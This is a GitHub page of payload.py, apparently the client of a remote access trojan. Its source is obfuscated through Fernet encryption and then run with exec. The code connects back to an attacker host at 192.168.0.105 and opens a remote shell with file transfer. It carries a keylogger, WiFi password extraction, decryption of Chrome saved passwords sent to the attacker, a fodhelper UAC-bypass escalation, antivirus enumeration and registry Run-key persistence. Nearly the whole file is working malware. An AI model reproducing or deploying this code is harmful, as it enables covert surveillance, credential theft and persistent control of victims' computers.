-
Notifications
You must be signed in to change notification settings - Fork 100
/
Copy pathpayload.py
557 lines (446 loc) · 17.4 KB
/
payload.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
from cryptography.fernet import Fernet
import base64
import socket
import tempfile
import json
import os
from pynput import keyboard
import time
import sys
import subprocess
# from vidstream import ScreenShareClient
import threading
import time
import requests
import re
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
code = b"""
def reliable_send(data):
json_data = json.dumps(data)
connection_to_attacker.send(json_data.encode())
def priv1():
execute = subprocess.run(['powershell', 'New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Value "C:\Genymobile\payload.exe" -Force'], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result = execute.stdout + execute.stderr
result = result.decode()
reliable_send(result)
def priv2():
execute1 = subprocess.run(['powershell', 'New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "C:\Genymobile\payload.exe" -Force'], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result1 = execute1.stdout + execute1.stderr
result1 = result1.decode()
reliable_send(result1)
def priv3():
execute2 = subprocess.run(['powershell', 'Start-Process "C:\\Windows\\System32\\fodhelper.exe"'], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result2 = execute2.stdout + execute2.stderr
result2 = result2.decode()
reliable_send("CMD")
def reliable_recv():
data = ""
while True:
try:
data = data + connection_to_attacker.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def upload_file(file_name):
f = open(file_name, 'rb')
packet = f.read(1024)
while len(packet) > 0:
connection_to_attacker.send(packet)
packet = f.read(1024)
connection_to_attacker.send('DONE'.encode())
def download_file(file_name):
f = open(file_name, 'wb')
while True:
chunk = connection_to_attacker.recv(1024)
if chunk.endswith('DONE'.encode()):
f.write(chunk[:-4])
f.close()
break
f.write(chunk)
#start of keylogger
global stopper
stopper = "hellno"
exit_event = threading.Event()
original_stdout = sys.stdout
def start_log():
try:
local_state_path = os.path.join(os.environ["USERPROFILE"],"AppData", "Local", "Microsoft", "Edge","User Data", "Default")
direc="temp"
dir=os.path.join(local_state_path,direc)
os.mkdir(dir)
except:
local_state_path = os.path.join(os.environ["USERPROFILE"],"AppData", "Local", "Microsoft", "Edge","User Data", "Default")
direc="temp"
dir=os.path.join(local_state_path,direc)
global hellfile
hellfile=dir+"\\hellfile.txt"
print(hellfile)
f= open(hellfile,"w+")
sys.stdout = f
def on_press(key):
try:
f=open(hellfile, "a+")
sys.stdout = f
seconds = time.time()
local_time = time.ctime(seconds)
print(local_time, end="--------->")
print('Alphanumeric key pressed: {0} '.format(
key.char))
f.close()
except AttributeError:
f=open(hellfile, "a+")
sys.stdout = f
seconds = time.time()
local_time = time.ctime(seconds)
print(local_time, end="--------->")
print('special key pressed: {0}'.format(
key))
f.close()
def on_release(key):
f=open(hellfile, "a+")
sys.stdout = f
seconds = time.time()
local_time = time.ctime(seconds)
print(local_time, end="--------->")
print('Key released: {0}'.format(
key))
f.close()
if stopper == "stop":
# Stop listener
return False
# Collect events until released
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
f.close()
#end of key logger
#start of wifi password extraction
def wifi_password():
temp_out = subprocess.Popen(['netsh', 'wlan', 'show', 'profiles'],shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data_network = ''
while temp_out.poll() is None:
data_network = data_network + temp_out.stdout.readline().decode('utf-8')
#print(data_network)
#print(data_network)
networks = re.findall("(?:Profile\s*:\s)(.*?\\r)",data_network)
#print(networks)
mess = "WiFi Password"
mess = mess + "------------------------------------------\\n"
Wifi_name = "Network\t:\tPassword"
for i in networks:
i = i.replace("\\r", "")
Wifi_name = i
temp_out = subprocess.Popen(['netsh', 'wlan', 'show', 'profiles', i, "key=clear"],shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = ""
while temp_out.poll() is None:
output = output + temp_out.stdout.readline().decode('utf-8')
#print(output)
Type_net = re.findall("(?:Type\s*:\s)(.*?\\r)", output)[0]
password = ""
pas = re.findall("(?:Key\sContent\s*:\s)(.*?\\r)", output)
if pas:
password = pas[0]
mess = mess + Wifi_name + " ::::: " + password + "\\n"
#print(mess)
direc = os. getcwd()
filename = '\Wifi_pass.txt'
filename = direc+filename
f=open(filename,"w+")
f.write(mess)
f.close()
#end of wifi password extraction
#start of chrome extraction
def chrome_get_chrome_datetime(chromedate):
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
def chrome_get_encryption_key():
local_state_path = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
key = key[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
def chrome_decrypt_password(password, key):
try:
# get the initialization vector
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
# not supported
return ""
def chrome_pass():
key = chrome_get_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromeData.db"
shutil.copyfile(db_path, filename)
db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
direc = os. getcwd()
try:
local_state_path = os.path.join(os.environ["USERPROFILE"],"AppData", "Local", "Microsoft", "Edge","User Data", "Default")
direc="temp"
dir=os.path.join(local_state_path,direc)
os.mkdir(dir)
except:
local_state_path = os.path.join(os.environ["USERPROFILE"],"AppData", "Local", "Microsoft", "Edge","User Data", "Default")
direc="temp"
dir=os.path.join(local_state_path,direc)
fileloc = '\\chrome_pass.txt'
fileloc = dir+fileloc
f = open(fileloc,"w+")
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
password = chrome_decrypt_password(row[3], key)
date_created = row[4]
date_last_used = row[5]
if username or password:
f.write(f"Origin URL: {origin_url}")
f.write(f"Action URL: {action_url}")
f.write(f"Username: {username}")
f.write(f"Password: {password}")
else:
continue
if date_created != 86400000000 and date_created:
f.write(f"Creation date: {str(chrome_get_chrome_datetime(date_created))}")
if date_last_used != 86400000000 and date_last_used:
f.write(f"Last Used: {str(chrome_get_chrome_datetime(date_last_used))}")
f.write("="*50)
cursor.close()
db.close()
f.close()
try:
os.remove(filename)
except:
pass
fn = open(fileloc,"r")
reliable_send(fn.read())
#end of chrome extraction
def downloadurl(url):
jod_url = requests.get(url)
file_name = "God Genesis.exe"
with open (file_name, 'wb') as output_file:
output_file.write(jod_url.content)
def connection():
while True:
time.sleep(5)
try:
connection_to_attacker.connect(("192.168.0.105", 8081))
shell()
connection_to_attacker.close()
break
except:
connection()
def shell():
while True:
command = reliable_recv()
if command == 'terminate':
connection_to_attacker.close()
break
elif command == 'clear':
pass
elif command[:3] == 'cd ':
try:
os.chdir(command[3:])
file = os.getcwd()
files = str(file)
reliable_send(files)
except:
pass
elif command == 'pwd':
try:
files = os.getcwd()
files = str(files)
reliable_send(files)
except:
pass
elif command[:9] == 'download ':
upload_file(command[9:])
elif command[:7] == 'upload ':
download_file(command[7:])
elif command == 'user':
try:
detail = os.getlogin()
detail = str(detail)
reliable_send(detail)
except:
pass
elif command == 'info':
try:
execute = subprocess.run("systeminfo", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result = execute.stdout.decode() + execute.stderr.decode()
#result = result.decode()
reliable_send(result)
except:
pass
elif command == 'sc':
try:
execute = subprocess.run("sc query state=all", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result = execute.stdout.decode()+ execute.stderr.decode()
#result = result.decode()
reliable_send(result)
except:
pass
elif command == 'help':
pass
# elif command == 'screenshare':
# try:
# screen_share()
# except:
# pass
elif command[:5] == 'start':
try:
subprocess.Popen(command[6:], shell=True)
reliable_send("Program Started")
except:
reliable_send("Failed To Start The Program")
elif command == 'env':
try:
execute = subprocess.run(['powershell', 'Get-Childitem -path env:'], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result = execute.stdout + execute.stderr
result = result.decode()
reliable_send(result)
except:
pass
elif command == 'av':
try:
execute = subprocess.run(['powershell', 'Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct'], shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result = execute.stdout + execute.stderr
result = result.decode()
#print(result)
reliable_send(result)
except:
pass
elif command == 'python_install':
try:
execute = subprocess.run("curl https://www.python.org/ftp/python/3.10.2/python-3.10.2-amd64.exe --output python-3.10.2-amd64.exe && python-3.10.2-amd64.exe /quiet InstallAllUsers=1 PrependPath=1 Include_test=0", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = execute.stdout.decode()+ execute.stderr.decode()
#result = result.decode()
reliable_send(result)
except:
pass
elif command[:8] == 'get':
try:
downloadurl(command[3:])
reliable_send("Downloaded")
except:
reliable_send("Not Downloaded")
elif command == 'keylogger':
try:
t1 = threading.Thread(target=start_log)
t1.start()
except:
pass
elif command == 'dump_keylogger':
local_state_path = os.path.join(os.environ["USERPROFILE"],"AppData", "Local", "Microsoft", "Edge","User Data", "Default")
direc="temp"
dir=os.path.join(local_state_path,direc)
hellfile=dir+"\\hellfile.txt"
fn=open(hellfile,"r")
reliable_send(fn.read())
fn.close()
#working but first need to stop the thread don't know how
elif command == 'del_keylogger_file':
dir=os. getcwd()
hellfile=dir+"\hellfile.txt"
if os.path.exists(hellfile):
print("yes")
os.remove(hellfile)
else:
print(hellfile)
print("No")
#to stop thread
elif command == 'stop_keylogger':
time.sleep(0.5)
t1.terminate()
print("Killed sucessfully")
elif command == 'wifi_password':
try:
wifi_password()
direc = os. getcwd()
filename = '\Wifi_pass.txt'
filename = direc+filename
fn=open(filename,"r")
reliable_send(fn.read())
fn.close()
except:
pass
elif command == 'chrome_pass_dump':
chrome_pass()
elif command == 'privsec1':
try:
priv1()
except:
pass
elif command == 'privsec2':
try:
priv2()
except:
pass
elif command == 'privsec3':
try:
priv3()
except:
pass
elif command == 'persistence1':
try:
persistent1()
reliable_send("persistence Achieved Via Method 1")
except:
reliable_send("persistence Not Achieved")
pass
elif command == 'persistence2':
try:
destination = os.environ["appdata"] + "\\sys32.exe"
print(destination)
if not os.path.exists(destination):
shutil.copyfile(sys.executable, destination)
subprocess.run('reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v GodGenesis /t REG_SZ /d "'+ destination + '"', shell=True)
reliable_send("persistence Achieved Via Method 2")
else:
reliable_send("Persistent Established Before")
except:
reliable_send("persistence Not Achieved")
pass
else:
try:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
except:
pass
connection_to_attacker = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
"""
key = Fernet.generate_key()
encryption_type = Fernet(key)
encrypted_message = encryption_type.encrypt(code)
decrypted_message = encryption_type.decrypt(encrypted_message)
exec(decrypted_message)